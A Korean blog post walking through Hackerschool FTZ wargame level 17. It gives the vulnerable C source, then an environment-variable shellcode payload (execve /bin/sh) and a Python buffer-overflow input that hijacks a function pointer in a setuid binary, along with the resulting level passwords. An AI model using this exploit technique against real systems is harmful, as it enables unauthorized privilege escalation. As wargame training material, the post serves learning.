해커스쿨 FTZ [LEVEL17] 풀이
M4ndU
해커스쿨 FTZ [LEVEL17] 풀이입니다.
ID | level17
PW | king poetic
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat hint
를 이용해 힌트를 확인합시다.
login as: level17
level17@192.168.31.128's password:
[level17@ftz level17]$ ls -l
total 28
-rwsr-x--- 1 level18 level17 13853 Mar 8 2003 attackme
-rw-r----- 1 root level17 191 Mar 8 2003 hint
drwxr-xr-x 2 root level17 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level17 4096 Jan 11 2009 tmp
[level17@ftz level17]$ cat hint
#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{ int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098);
call();
}
$export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv
(python -c 'print "A"*40+"\x8d\xfc\xff\xbf"'; cat) | ./attackme
[level17@ftz tmp]$ cd ..
[level17@ftz level17]$ (python -c 'print "A"*40+"\x8d\xfc\xff\xbf"'; cat) | ./attackme
my-pass
TERM environment variable not set.
Level18 Password is "why did you do it".
'System Hacking > FTZ' 카테고리의 다른 글
해커스쿨 FTZ [LEVEL19] 풀이 (0) | 2018.02.09 |
---|---|
해커스쿨 FTZ [LEVEL18] 풀이 (3) | 2018.02.09 |
해커스쿨 FTZ [LEVEL16] 풀이 (4) | 2018.02.09 |
해커스쿨 FTZ [LEVEL15] 풀이 (0) | 2018.02.09 |
해커스쿨 FTZ [LEVEL14] 풀이 (4) | 2018.02.09 |